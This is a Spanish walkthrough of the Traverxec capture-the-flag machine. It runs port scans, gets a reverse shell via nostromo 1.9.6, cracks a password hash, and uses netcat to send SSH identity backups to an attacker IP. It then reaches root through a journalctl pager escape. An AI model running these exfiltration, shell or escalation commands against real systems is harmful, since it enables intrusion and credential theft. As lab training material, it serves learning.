Traverxec

Traverxec
Sistema operativo Dificultad Fecha de Lanzamiento Creador
Linux Easy 16 Noviembre 2019 jkr

Escaneo de puertos

nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts -vvv 10.10.10.165
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-08 10:10 -03
Initiating SYN Stealth Scan at 10:10
Scanning 10.10.10.165 [65535 ports]
Discovered open port 22/tcp on 10.10.10.165
Discovered open port 80/tcp on 10.10.10.165
Completed SYN Stealth Scan at 10:11, 26.48s elapsed (65535 total ports)
Nmap scan report for 10.10.10.165
Host is up, received user-set (0.18s latency).
Scanned at 2025-04-08 10:10:39 -03 for 27s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.55 seconds
           Raw packets sent: 131086 (5.768MB) | Rcvd: 23 (1.120KB)

Enumeración de versión y servicio

nmap -sCV -p22,80 -oN servicesScan 10.10.10.165
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-08 10:11 -03
Nmap scan report for 10.10.10.165 (10.10.10.165)
Host is up (0.17s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_  256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open  http    nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.51 seconds

Explotación inicial

HTTP (80)

traverxec

nostromo 1.9.6

traverxec

traverxec Entablamos una reverse shell.

Nos ponemos en escucha con Netcat por el puerto 4444

nc -lnvp 4444

traverxec

traverxec

Enumeramos con linpeas y encontramos el siguiente hash.

traverxec

Lo crackeamos con John

traverxec

david:Nowonly4me

traverxec

Esa contraseña no no sirve. Toca seguir enumerando.

www-data@traverxec:/var/nostromo$ cat conf/nhttpd.conf 
# MAIN [MANDATORY]

servername              traverxec.htb
serverlisten            *
serveradmin             david@traverxec.htb
serverroot              /var/nostromo
servermimes             conf/mimes
docroot                 /var/nostromo/htdocs
docindex                index.html

# LOGS [OPTIONAL]

logpid                  logs/nhttpd.pid

# SETUID [RECOMMENDED]

user                    www-data

# BASIC AUTHENTICATION [OPTIONAL]

htaccess                .htaccess
htpasswd                /var/nostromo/conf/.htpasswd

# ALIASES [OPTIONAL]

/icons                  /var/nostromo/icons

# HOMEDIRS [OPTIONAL]

homedirs                /home
homedirs_public         public_www

traverxec

Transferimos el archivo a nuestra máquina usando netcat

Nos ponemos en escucha por el purto 1234 para recibir el archivo.

nc -lvp 1234 > backup.tgz

En la máquina víctima ejecutamos lo siguiente:

nc 10.10.14.5 1234 < /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz

traverxec

traverxec

Escalación de privilegios root

traverxec

/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service

El script devuelve las últimas 5 líneas de los registros del servicio nostromo mediante journalctl. Esto es explotable porque journalctl invoca el paginador predeterminado, que probablemente sea less. El comando less muestra la salida en la pantalla del usuario y espera la entrada del usuario una vez que se muestra el contenido. Esto puede explotarse ejecutando un comando de shell.

!/bin/bash

traverxec